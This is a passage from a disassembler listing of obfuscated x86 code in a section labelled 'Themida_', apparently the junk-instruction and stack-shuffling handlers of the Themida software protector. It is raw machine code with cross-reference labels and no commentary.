; ---------------------------------------------------------------------------
loc_58C848: ; CODE XREF: Themida_:0058B589j
mov esp, [esp]
imul cl
jmp loc_583C3D
; ---------------------------------------------------------------------------
mov ax, fs:[edx]
push ebx
push esp
pop ebx
jmp loc_584186
; ---------------------------------------------------------------------------
loc_58C85E: ; CODE XREF: Themida_:005883C4j
add edi, 79C05EAAh
xor edi, 0F5278E5Ch
add esi, edi
pop edi
push edi
mov edi, 4
add esi, edi
push dword ptr [esp]
pop edi
sub esp, 4
mov [esp], edx
push esp
pop edx
add edx, 4
add edx, 4
xchg edx, [esp]
pop esp
xor esi, [esp]
xor [esp], esi
xor esi, [esp]
mov esp, [esp]
or [esp], eax
pushf
jmp loc_5818C9
; ---------------------------------------------------------------------------
push 27A4h
jmp loc_58289C
; ---------------------------------------------------------------------------
loc_58C8B0: ; CODE XREF: Themida_:00584965j
add esp, 4
add esp, 4
push ebp
mov ebp, 6A49424Bh
inc ebp
xor ebp, 4C2B5947h
sub ebx, 4DF06AE4h
add ebx, ebp
add ebx, 4DF06AE4h
jmp loc_585CDA
; ---------------------------------------------------------------------------
loc_58C8D9: ; CODE XREF: Themida_:005868D3j
pop edx
add bl, 3Eh
add bl, 39h
add bl, al
jmp loc_5860D9
; ---------------------------------------------------------------------------
loc_58C8E7: ; CODE XREF: Themida_:00584326j
add edx, eax
sub edx, 638B7C31h
mov eax, [esp]
jmp loc_584972
; ---------------------------------------------------------------------------
loc_58C8F7: ; CODE XREF: Themida_:00589D66j
or eax, eax
jz loc_583221
push dword ptr [edi+1Ch]
push dword ptr [esp]
mov ecx, [esp]
push esi
mov esi, esp
push edx
jmp loc_588844
; ---------------------------------------------------------------------------
loc_58C911: ; CODE XREF: Themida_:00582B83j
add edi, ebp
jmp loc_58AD9E
; ---------------------------------------------------------------------------
loc_58C918: ; CODE XREF: Themida_:0058B63Bj
pop ecx
jmp loc_585C76
; ---------------------------------------------------------------------------
loc_58C91E: ; CODE XREF: Themida_:00581C66j
sub eax, edi
jmp loc_586143
; ---------------------------------------------------------------------------
push dword ptr [edi+2Ch]
jmp loc_5818C9
; ---------------------------------------------------------------------------
loc_58C92D: ; CODE XREF: Themida_:005829B3j
add edx, 3CDD63CFh
mov ebp, edx
pop edx
neg ebp
add ebp, 510B3630h
push esi
push 3BCD69E4h
jmp loc_583F9C
; ---------------------------------------------------------------------------
loc_58C949: ; CODE XREF: Themida_:0058553Aj
push 565Fh
mov [esp], ebx
mov ebx, 40h
jmp loc_58A5B3
; ---------------------------------------------------------------------------
loc_58C95B: ; CODE XREF: Themida_:0058D31Bj
push ebx
mov ebx, 2B272BD2h
push eax
jmp loc_586150
; ---------------------------------------------------------------------------
loc_58C967: ; CODE XREF: Themida_:00582E84j
add ebp, eax
jmp loc_58A13E
; ---------------------------------------------------------------------------
loc_58C96E: ; CODE XREF: Themida_:0058AD2Fj
add esi, edi
mov edi, [esp]
add esp, 4
xor esi, [esp]
xor [esp], esi
xor esi, [esp]
pop esp
jmp loc_584735
; ---------------------------------------------------------------------------
loc_58C988: ; CODE XREF: Themida_:0058CF1Fj
mov [esp], ebp
push 35F33DE3h
mov ebp, [esp]
add esp, 4
sub [esp+4], ebp
push dword ptr [esp]
loc_58C99D: ; CODE XREF: Themida_:00579FD0j
jmp loc_5875CF
; ---------------------------------------------------------------------------
loc_58C9A2: ; CODE XREF: Themida_:00582DCDj
pop eax
neg edx
xor edx, 0A0E68CBh
inc edx
jmp loc_583C23
; ---------------------------------------------------------------------------
loc_58C9B1: ; CODE XREF: Themida_:00586D07j
pop esi
add edi, ebx
jmp loc_58AC4F
; ---------------------------------------------------------------------------
loc_58C9B9: ; CODE XREF: Themida_:0058392Fj
pop esp
jmp loc_581955
; ---------------------------------------------------------------------------
loc_58C9BF: ; CODE XREF: Themida_:005881EDj
push ebx
mov ebx, 22235CD8h
sub ebx, 42F3CDDh
shl ebx, 3
neg ebx
shl ebx, 3
add ebx, 7D07FEC4h
add esi, ebx
jmp loc_588A1C
; ---------------------------------------------------------------------------
loc_58C9E0: ; CODE XREF: Themida_:00584553j
add ebx, 0E0EF1AF6h
jmp loc_58AFA8
; ---------------------------------------------------------------------------
loc_58C9EB: ; CODE XREF: Themida_:00581EB5j
xchg eax, ebx
push ebp
push ebx
push esp
pop ebx
add ebx, 4
push esi
jmp loc_582C7E
; ---------------------------------------------------------------------------
loc_58C9FC: ; CODE XREF: Themida_:0058C3C7j
push ebx
mov ebx, 44A727EFh
jmp loc_58715C
; ---------------------------------------------------------------------------
loc_58CA07: ; CODE XREF: Themida_:00585790j
mov ebp, 2
jmp loc_58C36C
; ---------------------------------------------------------------------------
loc_58CA11: ; CODE XREF: Themida_:00588F7Dj
add ebx, 4
xchg ebx, [esp]
jmp loc_58191D
; ---------------------------------------------------------------------------
loc_58CA1C: ; CODE XREF: Themida_:00581E9Cj
pop eax
sub bl, dl
add bl, 44h
pop edx
movzx eax, al
pop dword ptr [edi+eax*4]
jmp loc_5818C9
; ---------------------------------------------------------------------------
loc_58CA2E: ; CODE XREF: Themida_:00589ED9j
add ecx, 4
add ecx, 4
xchg ecx, [esp]
mov esp, [esp]
push dword ptr [edi+1Ch]
sub esp, 4
mov [esp], esi
mov esi, 667D33CCh
xor [esp+4], esi
mov esi, [esp]
add esp, 4
push dword ptr [esp]
mov ecx, [esp]
push ecx
mov ecx, esp
add ecx, 4
jmp loc_58B9A3
; ---------------------------------------------------------------------------
loc_58CA6F: ; CODE XREF: Themida_:00588795j
pop edi
and [edi+1Ch], ebp
mov ebp, [esp]
jmp loc_58DD88
; ---------------------------------------------------------------------------
loc_58CA7B: ; CODE XREF: Themida_:0058DA3Fj
push edx
jmp loc_58C381
; ---------------------------------------------------------------------------
loc_58CA81: ; CODE XREF: Themida_:0058A2ABj
or edx, eax
jmp loc_5855C5
; ---------------------------------------------------------------------------
loc_58CA88: ; CODE XREF: Themida_:005861E5j
sub ebx, 47CF77BBh
jmp loc_589CDE
; ---------------------------------------------------------------------------
loc_58CA93: ; CODE XREF: Themida_:0058CD78j
sub ebp, eax
mov eax, [esp]
jmp loc_584CDA
; ---------------------------------------------------------------------------
loc_58CA9D: ; CODE XREF: Themida_:00585A61j
add esp, 4
mov ebp, edi
mov edi, [esp]
jmp loc_588BF5
; ---------------------------------------------------------------------------
loc_58CAAD: ; CODE XREF: Themida_:00587684j
add edi, 4
xchg edi, [esp]
pop esp
xchg eax, [esp]
jmp loc_58879A
; ---------------------------------------------------------------------------
loc_58CABC: ; CODE XREF: Themida_:00583607j
mov esp, [esp]
jmp loc_586F6E
; ---------------------------------------------------------------------------
loc_58CAC4: ; CODE XREF: Themida_:00584890j
mov eax, esp
add eax, 4
add eax, 4
xchg eax, [esp]
pop esp
jmp loc_58AD7C
; ---------------------------------------------------------------------------
loc_58CAD9: ; CODE XREF: Themida_:005847A3j
push dword ptr [esp]
pop edx
add esp, 4
mov ebx, [esp]
add esp, 4
jmp loc_585DA6
; ---------------------------------------------------------------------------
loc_58CAF1: ; CODE XREF: Themida_:0058B29Fj
pop ebp
push eax
pop ebp
pop eax
mov eax, 0C1CC9474h
add eax, 8DE5D31h
add eax, ebp
push ebx
mov ebx, 8DE5D31h
sub eax, ebx
pop ebx
pop ebp
add eax, edi
add dword ptr [eax], 1
mov eax, [esp]
add esp, 4
loc_58CB1C: ; CODE XREF: Themida_:00585386j
push ebp
push ebx
sub esp, 4
mov [esp], ebp
mov ebp, 44DC024Dh
xor [esp+4], ebp
pop ebp
pop ebp
jmp loc_587D5C
; ---------------------------------------------------------------------------
loc_58CB34: ; CODE XREF: Themida_:0058D57Ej
push 16DB57A0h
jmp loc_58C472
; ---------------------------------------------------------------------------
loc_58CB3E: ; CODE XREF: Themida_:005852C1j
sub eax, edx
pop edx
sub eax, ebx
jmp loc_582EA6
; ---------------------------------------------------------------------------
loc_58CB48: ; CODE XREF: Themida_:00582CEBj
mov ebp, 28FA3225h
shl ebp, 8
jmp loc_58D15A
; ---------------------------------------------------------------------------
loc_58CB55: ; CODE XREF: Themida_:0058B644j
sub esp, 4
mov [esp], edi
push esp
mov edi, [esp]
jmp loc_58DAC6
; ---------------------------------------------------------------------------
loc_58CB67: ; CODE XREF: Themida_:005849EDj
xor bl, 0D2h
push eax
jmp loc_58B077
; ---------------------------------------------------------------------------
loc_58CB70: ; CODE XREF: Themida_:0058C70Fj
not ebp
jmp loc_585147
; ---------------------------------------------------------------------------
loc_58CB77: ; CODE XREF: Themida_:00586746j
add ecx, edi
jmp loc_586EEA
; ---------------------------------------------------------------------------
loc_58CB7E: ; CODE XREF: Themida_:00588FB1j
add dword ptr [esp], 4
jmp loc_58A492
; ---------------------------------------------------------------------------
loc_58CB8A: ; CODE XREF: Themida_:00583BC0j
or eax, eax
jz loc_5821C8
push edx
push 6325h
mov [esp], ebp
mov ebp, ebx
push ebp
push eax
jmp loc_58C139
; ---------------------------------------------------------------------------
loc_58CBA4: ; CODE XREF: Themida_:0058C330j
push ebx
mov bl, 0AAh
jmp loc_582F0A
; ---------------------------------------------------------------------------
loc_58CBAC: ; CODE XREF: Themida_:00589E68j
shr edi, 5
xor edi, 8AC3BC8h
jmp loc_581ADD
; ---------------------------------------------------------------------------
loc_58CBBA: ; CODE XREF: Themida_:0058C173j
mov [esp], esi
mov esi, esp
add esi, 4
add esi, 4
xchg esi, [esp]
mov esp, [esp]
push eax
mov eax, esp
jmp loc_583934
; ---------------------------------------------------------------------------
loc_58CBD9: ; CODE XREF: Themida_:0058B0FBj
pop esp
push ebx
mov ebx, 3C325A25h
xor ebx, 3E325A25h
and eax, ebx
push dword ptr [esp]
pop ebx
jmp loc_5834DC
; ---------------------------------------------------------------------------
loc_58CBF1: ; CODE XREF: Themida_:00582DF8j
sub ebx, 115C02A7h
add ebx, ecx
add ebx, 115C02A7h
mov ecx, [esp]
jmp loc_586D13
; ---------------------------------------------------------------------------
loc_58CC07: ; CODE XREF: Themida_:00583555j
push ebx
push ebp
jmp loc_58D115
; ---------------------------------------------------------------------------
loc_58CC0E: ; CODE XREF: Themida_:00584360j
add ecx, edi
xor dword ptr [ecx], 0E62BC473h
pop ecx
loc_58CC17: ; CODE XREF: Themida_:00582871j
; Themida_:00584DE8j
push dword ptr [esp]
pop ebx
push ebx
mov ebx, esp
jmp loc_581DD9
; ---------------------------------------------------------------------------
loc_58CC23: ; CODE XREF: Themida_:00583F35j
push ebp
push 27EB2B48h
pop ebp
push 0
sub [esp], ebp
jmp loc_586680
; ---------------------------------------------------------------------------
loc_58CC37: ; CODE XREF: Themida_:00584815j
mov [esp], ebp
mov ebp, 74C14623h
xor ebp, 5C8A048Fh
add ebp, 6CFD2338h
dec ebp
jmp loc_583E63
; ---------------------------------------------------------------------------
loc_58CC51: ; CODE XREF: Themida_:0058A33Fj
shl eax, cl
push edi
push ecx
mov ecx, 1
mov edi, ecx
pop ecx
sub esp, 4
jmp loc_58D2CE
; ---------------------------------------------------------------------------
loc_58CC68: ; CODE XREF: Themida_:00582D0Ej
xor eax, 7DAB7A9Ah
jmp loc_58773D
; ---------------------------------------------------------------------------
loc_58CC72: ; CODE XREF: Themida_:0058A56Cj
push eax
mov eax, 1C0F0FD6h
sub edi, eax
jmp loc_588037
; ---------------------------------------------------------------------------
loc_58CC7F: ; CODE XREF: Themida_:00586CBCj
xchg ebp, [esp]
mov esp, [esp]
mov [esp], ecx
pop eax
pop ecx
push 74EBh
mov [esp], ecx
jmp loc_58DE2C
; ---------------------------------------------------------------------------
loc_58CC97: ; CODE XREF: Themida_:00588C56j
push esp
pop dword ptr [esp]
push eax
mov eax, 4
jmp loc_588E3E
; ---------------------------------------------------------------------------
loc_58CCA6: ; CODE XREF: Themida_:005878C0j
sub dl, 68h
add dl, ch
jmp loc_58A61E
; ---------------------------------------------------------------------------
loc_58CCB0: ; CODE XREF: Themida_:0058D7B0j
mov ebx, [esp]
add esp, 4
jmp loc_5828FC
; ---------------------------------------------------------------------------
loc_58CCBB: ; CODE XREF: Themida_:0058B512j
pop ebp
push ebx
push dword ptr [esp+4]
pop ebx
pop dword ptr [esp]
pop esp
jmp loc_588DE0
; ---------------------------------------------------------------------------
loc_58CCCB: ; CODE XREF: Themida_:00583E41j
push edx
mov dl, bl
jmp loc_58420A
; ---------------------------------------------------------------------------
loc_58CCD3: ; CODE XREF: Themida_:0058D0A3j
mov ebp, [esp]
add esp, 4
sub ecx, 4
jmp loc_586166
; ---------------------------------------------------------------------------
loc_58CCE4: ; CODE XREF: Themida_:0058CEFCj
add ecx, edx
pop edx
xor ecx, [esp]
xor [esp], ecx
jmp loc_588174
; ---------------------------------------------------------------------------
loc_58CCF2: ; CODE XREF: Themida_:0058209Dj
pop esp
mov [esp], edx
sub esp, 4
mov [esp], eax
push esi
jmp loc_58A060
; ---------------------------------------------------------------------------
loc_58CD05: ; CODE XREF: Themida_:0058262Bj
mov dl, ch
pop ecx
mov cl, dl
pop edx
mov eax, [esp]
add esp, 4
jmp loc_5851A7
; ---------------------------------------------------------------------------
loc_58CD19: ; CODE XREF: Themida_:005837D2j
push ecx
mov ecx, 0EC080EBFh
sub ebp, ecx
jmp loc_58481A
; ---------------------------------------------------------------------------
loc_58CD26: ; CODE XREF: Themida_:0058B5E6j
xor dword ptr [edi+20h], 50A5317h
mov esi, [esp]
jmp loc_58286E
; ---------------------------------------------------------------------------
loc_58CD35: ; CODE XREF: Themida_:00588503j
mov [esp], ebp
push edi
mov edi, 0C8F10C2h
mov ebp, 0F370EF42h
jmp loc_58C563
; ---------------------------------------------------------------------------
loc_58CD48: ; CODE XREF: Themida_:00586655j
push ebp
mov ebp, esp
add ebp, 4
add ebp, 4
jmp loc_58737A
; ---------------------------------------------------------------------------
loc_58CD5C: ; CODE XREF: Themida_:00587361j
mov [esp], ebx
mov ebx, 3C52C91h
dec ebx
shr ebx, 5
push 27FEh
jmp loc_58B35F
; ---------------------------------------------------------------------------
loc_58CD72: ; CODE XREF: Themida_:0058B7F6j
push 2
pop eax
jmp loc_58CA93
; ---------------------------------------------------------------------------
loc_58CD7D: ; CODE XREF: Themida_:00584D8Cj
mov esi, [esp]
jmp loc_58D449
; ---------------------------------------------------------------------------
loc_58CD85: ; CODE XREF: Themida_:00582961j
sub bx, ax
jmp loc_5894F0
; ---------------------------------------------------------------------------
loc_58CD8D: ; CODE XREF: Themida_:0058DF6Fj
mov ch, 5Ch
jmp loc_582835
; ---------------------------------------------------------------------------
loc_58CD94: ; CODE XREF: Themida_:0058322Ej
mov ecx, [esp]
push eax
push esp
pop eax
add eax, 4
jmp loc_58BDB4
; ---------------------------------------------------------------------------
loc_58CDA4: ; CODE XREF: Themida_:0058B8B6j
push dword ptr [esp]
mov edx, [esp]
add esp, 4
jmp loc_582724
; ---------------------------------------------------------------------------
loc_58CDB5: ; CODE XREF: Themida_:00582A83j
sub [esp], edx
pop edx
jmp loc_58BC02
; ---------------------------------------------------------------------------
loc_58CDBE: ; CODE XREF: Themida_:00587BCEj
mov ecx, 667B73DBh
shl ecx, 5
or ecx, 641B5B02h
sub ecx, 9B8553A5h
sub edx, ecx
pop ecx
sub edx, esi
add edx, 53FA27BDh
push ebp
mov ebp, 50385E85h
add edx, ebp
pop ebp
jmp loc_587C70
; ---------------------------------------------------------------------------
loc_58CDEB: ; CODE XREF: Themida_:00583E25j
mov edx, [esp]
add esp, 4
push eax
mov eax, ebx
mov edx, eax
jmp loc_58AF9F
; ---------------------------------------------------------------------------
loc_58CDFB: ; CODE XREF: Themida_:005836CEj
mov dl, 73h
and cl, dl
pop dx
add cl, 0Fh
jmp loc_581E7C
; ---------------------------------------------------------------------------
loc_58CE09: ; CODE XREF: Themida_:005873F9j
sub ch, dl
sub ch, 97h
pop edx
add al, ch
jmp loc_588C35
; ---------------------------------------------------------------------------
loc_58CE16: ; CODE XREF: Themida_:0058495Dj
not cl
sub cl, 12h
mov dh, cl
pop ecx
shl dh, 7
push ebx
mov bl, 0C9h
xor bl, 0C8h
add dh, bl
pop ebx
push dx
mov dh, 8
sub al, 15h
sub al, dh
push edx
mov dh, 0E3h
sub dh, 22h
and dh, 25h
xor dh, 0A2h
and dh, 32h
xor dh, 37h
add al, dh
jmp loc_58D1FD
; ---------------------------------------------------------------------------
loc_58CE4B: ; CODE XREF: Themida_:00588580j
pop ebx
pop edx
push ebx
mov ebx, 4
add ebp, ebx
pop ebx
push ebp
jmp loc_58DB1B
; ---------------------------------------------------------------------------
loc_58CE5C: ; CODE XREF: Themida_:0058B787j
xor ch, dh
mov dx, [esp]
add esp, 2
add ch, 1
push ax
push edx
push eax
push ecx
mov ch, 87h
sub ch, 0ECh
jmp loc_587BD3
; ---------------------------------------------------------------------------
loc_58CE77: ; CODE XREF: Themida_:0058D56Bj
mov [esp], edi
mov edi, 65CF3631h
sub edi, 0FFFFFFFFh
shr edi, 4
shl edi, 5
shl edi, 6
sub edi, 8E6AC74Eh
jmp loc_58515B
; ---------------------------------------------------------------------------
loc_58CE99: ; CODE XREF: Themida_:005880FFj
xchg edx, [esp]
pop esp
bt [esp], eax
pushf
jmp loc_5818C9
; ---------------------------------------------------------------------------
loc_58CEA7: ; CODE XREF: Themida_:00581E13j
push esi
mov esi, 58ED6779h
jmp loc_589CD2
; ---------------------------------------------------------------------------
loc_58CEB2: ; CODE XREF: Themida_:0058B02Aj
push ebx
mov ebx, 0
add ebx, edx
add eax, [ebx]
mov ebx, [esp]
push ebx
mov ebx, esp
add ebx, 4
add ebx, 4
xchg ebx, [esp]
pop esp
push dword ptr [esp]
mov edx, [esp]
push ecx
mov ecx, esp
add ecx, 4
add ecx, 4
jmp loc_584E43
; ---------------------------------------------------------------------------
loc_58CEE6: ; CODE XREF: Themida_:0058D9F1j
add [esp], eax
pushf
jmp loc_5818C9
; ---------------------------------------------------------------------------
loc_58CEEF: ; CODE XREF: Themida_:0058220Fj
mov edx, [esp]
add esp, 4
pop ebp
push edx
mov edx, 2
jmp loc_58CCE4
; ---------------------------------------------------------------------------
loc_58CF01: ; CODE XREF: Themida_:005851E8j
mov ebp, esp
add ebp, 4
add ebp, 4
xchg ebp, [esp]
pop esp
not edi
jmp loc_58B6C5
; ---------------------------------------------------------------------------
loc_58CF1A: ; CODE XREF: Themida_:005899B7j
push 691Dh
jmp loc_58C988
; ---------------------------------------------------------------------------
loc_58CF24: ; CODE XREF: Themida_:00589404j
or cl, 0FCh
add cl, 63h
inc cl
jmp loc_58B2C1
; ---------------------------------------------------------------------------
loc_58CF31: ; CODE XREF: Themida_:0058D0EAj
add ecx, 3FC7C91Eh
or ebx, ecx
pop ecx
not ebx
add ebx, 6AE3DEF1h
add esi, ebx
jmp loc_58B2D3
; ---------------------------------------------------------------------------
loc_58CF49: ; CODE XREF: Themida_:00581D12j
mov edx, 17361499h
or edx, 41321CACh
xor edx, 0AD745BB4h
jmp loc_58529B
; ---------------------------------------------------------------------------
loc_58CF5F: ; CODE XREF: Themida_:00588856j
push edi
mov edi, 4
add esi, edi
mov edi, [esp]
add esp, 4
push ecx
mov ecx, 4
add esi, ecx
pop ecx
xor esi, [esp]
xor [esp], esi
xor esi, [esp]
mov esp, [esp]
push 66C8h
mov [esp], edi
sub esp, 4
mov [esp], ecx
mov ecx, 800h
push 6A7h
mov [esp], ecx
push dword ptr [esp]
pop edi
push edx
mov edx, esp
add edx, 4
add edx, 4
xchg edx, [esp]
pop esp
jmp loc_585BE0
; ---------------------------------------------------------------------------
loc_58CFB9: ; CODE XREF: Themida_:00589FC6j
push ebx
push dword ptr [esp+4]
pop ebx
jmp loc_58BF0C
; ---------------------------------------------------------------------------
loc_58CFC4: ; CODE XREF: Themida_:00587227j
add eax, 3DA46FBCh
mov ecx, [esp]
jmp loc_5844FF
; ---------------------------------------------------------------------------
loc_58CFD1: ; CODE XREF: Themida_:00583C59j
xchg edi, [esp]
jmp loc_58D635
; ---------------------------------------------------------------------------
loc_58CFD9: ; CODE XREF: Themida_:00582513j
jmp loc_5818C9
; ---------------------------------------------------------------------------
loc_58CFDE: ; CODE XREF: Themida_:0058BD30j
mov esi, 60D134F2h
sub edx, esi
pop esi
pop esi
add edx, 2
xchg edx, [esp]
jmp loc_585EC0
; ---------------------------------------------------------------------------
loc_58CFF2: ; CODE XREF: Themida_:0058916Cj
mov [esp], ebx
mov ebx, [esp]
push ebp
push esp
jmp loc_5882BC
; ---------------------------------------------------------------------------
loc_58CFFF: ; CODE XREF: Themida_:005880B4j
xchg ebx, [esp]
pop esp
jmp loc_5818C9
; ---------------------------------------------------------------------------
loc_58D008: ; CODE XREF: Themida_:00584665j
push edi
mov edi, 4
add [esp+4], edi
pop edi
jmp loc_58C022
; ---------------------------------------------------------------------------
loc_58D018: ; CODE XREF: Themida_:00584C73j
mov esp, [esp]
jmp loc_581E18
; ---------------------------------------------------------------------------
loc_58D020: ; CODE XREF: Themida_:005830B7j
mov [esp], edx
mov edx, 95B21BF8h
jmp loc_586E2B
; ---------------------------------------------------------------------------
loc_58D02D: ; CODE XREF: Themida_:005843A4j
push edi
mov edi, 4
jmp loc_58733F
; ---------------------------------------------------------------------------
loc_58D038: ; CODE XREF: Themida_:005825F0j
mov esi, 275D0803h
sub esi, 1DFCEF4h
sub ebx, 9D7181Bh
jmp loc_588D0E
; ---------------------------------------------------------------------------
loc_58D04E: ; CODE XREF: Themida_:005882A3j
mov [esp], edx
mov edx, 4
add edi, edx
mov edx, [esp]
add esp, 4
add edi, 4
xor edi, [esp]
xor [esp], edi
jmp loc_58D39D
; ---------------------------------------------------------------------------
loc_58D06F: ; CODE XREF: Themida_:0058C786j
mov eax, 0BCF23E4h
xor edi, eax
jmp loc_581E48
; ---------------------------------------------------------------------------
loc_58D07B: ; CODE XREF: Themida_:0058C202j
sub esp, 4
mov [esp], ecx
push ebx
mov ebx, 3B526F22h
mov ecx, ebx
; ---------------------------------------------------------------------------
db 0E9h, 1Fh, 60h
db 0FFh
; ---------------------------------------------------------------------------
loc_58D08D: ; CODE XREF: Themida_:0057A6C0j
; Themida_:00582713j
push dword ptr [ebx-5E6816DDh]
; ---------------------------------------------------------------------------
db 0FFh
; ---------------------------------------------------------------------------
jmp fword ptr [eax+esi-1E76AE28h]
; ---------------------------------------------------------------------------
push ebp
mov ebp, 4
add ecx, ebp
jmp loc_58CCD3
; ---------------------------------------------------------------------------
loc_58D0A8: ; CODE XREF: Themida_:00586E0Ej
sub edi, 2E1A65F9h
jmp loc_581C60
; ---------------------------------------------------------------------------
loc_58D0B3: ; CODE XREF: Themida_:0058C283j
sub edi, 68CA17D1h
add edi, 0DD132CFh
sub edi, 59813994h
jmp loc_58D68B
; ---------------------------------------------------------------------------
loc_58D0CA: ; CODE XREF: Themida_:0058522Cj
add edi, ecx
add edi, 779756Fh
pop ecx
jmp loc_582D13
; ---------------------------------------------------------------------------
loc_58D0D8: ; CODE XREF: Themida_:00581F00j
pop ebx
pop dword ptr [esp]
push dword ptr [esp]
jmp loc_581EB1
; ---------------------------------------------------------------------------
loc_58D0E4: ; CODE XREF: Themida_:0058A14Fj
push ecx
mov ecx, 22FB45ACh
jmp loc_58CF31
; ---------------------------------------------------------------------------
loc_58D0EF: ; CODE XREF: Themida_:00583AA0j
sub dword ptr [esp], 15D303F6h
push dword ptr [esp]
mov eax, [esp]
jmp loc_58A033
; ---------------------------------------------------------------------------
loc_58D101: ; CODE XREF: Themida_:0058665Dj
push ecx
mov ecx, esp
add ecx, 4
push edi
mov edi, 45092C7Dh
jmp loc_5833FD
; ---------------------------------------------------------------------------
loc_58D115: ; CODE XREF: Themida_:0058CC09j
mov ebp, 66135B44h
jmp loc_587175
; ---------------------------------------------------------------------------
loc_58D11F: ; CODE XREF: Themida_:00584DDFj
mov ecx, esp
push edi
jmp loc_58AF78
; ---------------------------------------------------------------------------
loc_58D127: ; CODE XREF: Themida_:0058DD4Ej
add ebp, 4
xchg ebp, [esp]
mov esp, [esp]
jmp loc_58DA16
; ---------------------------------------------------------------------------
loc_58D135: ; CODE XREF: Themida_:0058A807j
pop eax
pop ebp
add ecx, eax
pop eax
xchg ecx, [esp]
jmp loc_58D851
; ---------------------------------------------------------------------------
loc_58D142: ; CODE XREF: Themida_:005868C9j
push ecx
mov ecx, 55FE4D11h
mov edi, 0BEBED273h
add edi, ecx
mov ecx, [esp]
add esp, 4
jmp loc_58C377
; ---------------------------------------------------------------------------
loc_58D15A: ; CODE XREF: Themida_:0058CB50j
sub ebp, 51D5E8E1h
jmp loc_585953
; ---------------------------------------------------------------------------
loc_58D165: ; CODE XREF: Themida_:00584005j
push 35572EF2h
pop ebp
dec ebp
inc ebp
push 6030h
jmp loc_585336
; ---------------------------------------------------------------------------
loc_58D177: ; CODE XREF: Themida_:0058D2C9j
mov esi, ecx
pop ecx
add ebx, esi
pop esi
xchg ebx, [esp]
pop esp
xchg esi, [esp]
jmp loc_5818C9
; ---------------------------------------------------------------------------
loc_58D189: ; CODE XREF: Themida_:005872B5j
xor ecx, [esp]
jmp loc_58D531
; ---------------------------------------------------------------------------
loc_58D191: ; CODE XREF: Themida_:005850ACj
sub dword ptr [esp+4], 613C0879h
mov edx, [esp]
add esp, 4
push dword ptr [esp]
pop ecx
add esp, 4
sub esp, 4
mov [esp], ebp
jmp loc_587621
; ---------------------------------------------------------------------------
loc_58D1B4: ; CODE XREF: Themida_:005892BCj
sub al, 49h
sub al, bl
add al, 49h
push bx
mov bh, 0B6h
sub al, bh
jmp loc_584651
; ---------------------------------------------------------------------------
loc_58D1C5: ; CODE XREF: Themida_:00588D32j
mov ebx, esp
push esi
push edx
mov edx, 62B87353h
mov esi, edx
pop edx
push ebx
mov ebx, 37B358DDh
shl ebx, 3
or ebx, 2C736FACh
inc ebx
push edi
mov edi, 0
sub edi, ebx
mov ebx, edi
pop edi
sub ebx, 0A4BC8362h
add esi, ebx
pop ebx
add ebx, esi
pop esi
jmp loc_58B100
; ---------------------------------------------------------------------------
loc_58D1FD: ; CODE XREF: Themida_:0058CE46j
pop edx
jmp loc_589184
; ---------------------------------------------------------------------------
mov cx, [esp]
push ebp
push esp
pop ebp
sub esp, 4
mov [esp], eax
mov eax, 49D17C73h
shr eax, 7
xchg eax, edi
not edi
jmp loc_5830D4
; ---------------------------------------------------------------------------
loc_58D220: ; CODE XREF: Themida_:00586362j
sub bl, 0F3h
not bl
add bl, 0F1h
mov ch, bl
jmp loc_58D3F6
; ---------------------------------------------------------------------------
lodsb
sub al, 91h
jmp loc_58AA07
; ---------------------------------------------------------------------------
loc_58D237: ; CODE XREF: Themida_:005827C9j
add esi, ecx
mov ecx, [esp]
add esp, 4
add esi, 619367DEh
add esi, ecx
sub esi, 619367DEh
sub esi, 4F894473h
mov ecx, [esp]
add esp, 4
push esi
push dword ptr [esp+4]
pop esi
pop dword ptr [esp]
pop esp
idiv cl
jmp loc_5859B7
; ---------------------------------------------------------------------------
loc_58D26A: ; CODE XREF: Themida_:00585309j
mov edx, [esp]
push ebp
mov ebp, esp
add ebp, 4
add ebp, 4
jmp loc_584014
; ---------------------------------------------------------------------------
loc_58D27E: ; CODE XREF: Themida_:00585044j
push esp
pop esi
add esi, 4
add esi, 4
xchg esi, [esp]
jmp loc_58B614
; ---------------------------------------------------------------------------
loc_58D291: ; CODE XREF: Themida_:00584E19j
shl esi, 6
jmp loc_581A29
; ---------------------------------------------------------------------------
loc_58D299: ; CODE XREF: Themida_:00589C7Ej
push dword ptr [esp]
pop esi
push ebx
push 7322h
mov [esp], esp
push esi
mov esi, 4
add [esp+4], esi
pop esi
pop ebx
add ebx, 4
push esi
push ecx
mov ecx, 13726400h
dec ecx
dec ecx
not ecx
add ecx, 13726403h
jmp loc_58D177
; ---------------------------------------------------------------------------
loc_58D2CE: ; CODE XREF: Themida_:0058CC63j
mov [esp], ecx
jmp loc_5828B4
; ---------------------------------------------------------------------------
loc_58D2D6: ; CODE XREF: Themida_:005895CBj
neg ah
xchg ah, cl
xor cl, 1Bh
mov bh, cl
jmp loc_588733
; ---------------------------------------------------------------------------
loc_58D2E4: ; CODE XREF: Themida_:0058BC8Ej
sub bh, dh
pop edx
add al, bh
pop ebx
push small 72FBh
mov [esp], dx
jmp loc_58D320
; ---------------------------------------------------------------------------
loc_58D2F7: ; CODE XREF: Themida_:005830EAj
sub eax, 22A40110h
mov esi, [esp]
push esi
jmp loc_585F2D
; ---------------------------------------------------------------------------
loc_58D305: ; CODE XREF: Themida_:005846BCj
pop esp
loc_58D306: ; CODE XREF: Themida_:00581C2Cj
push edx
push ecx
mov ecx, esp
add ecx, 4
sub ecx, 4
xchg ecx, [esp]
pop esp
mov [esp], ebx
push edi
jmp loc_58C95B
; ---------------------------------------------------------------------------
loc_58D320: ; CODE XREF: Themida_:0058D2F2j
push bx
mov bh, 0D8h
push eax
push ecx
mov cl, bh
mov al, cl
jmp loc_5874D6
; ---------------------------------------------------------------------------
loc_58D32F: ; CODE XREF: Themida_:0058AA0Ej
mov dl, 20h
add dl, 3Ch
add dl, 4Ch
push ax
mov al, 26h
add dl, al
jmp loc_582547
; ---------------------------------------------------------------------------
loc_58D342: ; CODE XREF: Themida_:0058AA6Ej
add esi, 63AA1567h
sub esi, edx
sub esi, 63AA1567h
pop edx
add ebp, 4C71676Ah
add ebp, esi
sub ebp, 4C71676Ah
mov esi, [esp]
jmp loc_587DF3
; ---------------------------------------------------------------------------
loc_58D367: ; CODE XREF: Themida_:00588FC9j
push edx
push dword ptr [esp+4]
mov edx, [esp]
add esp, 4
jmp loc_5826F0
; ---------------------------------------------------------------------------
loc_58D37A: ; CODE XREF: Themida_:00581F5Cj
pop esp
sub esp, 4
mov [esp], edx
sub esp, 4
jmp loc_58430F
; ---------------------------------------------------------------------------
loc_58D38F: ; CODE XREF: Themida_:005867A0j
mov [esp], ecx
push edx
mov edx, 7B4723CFh
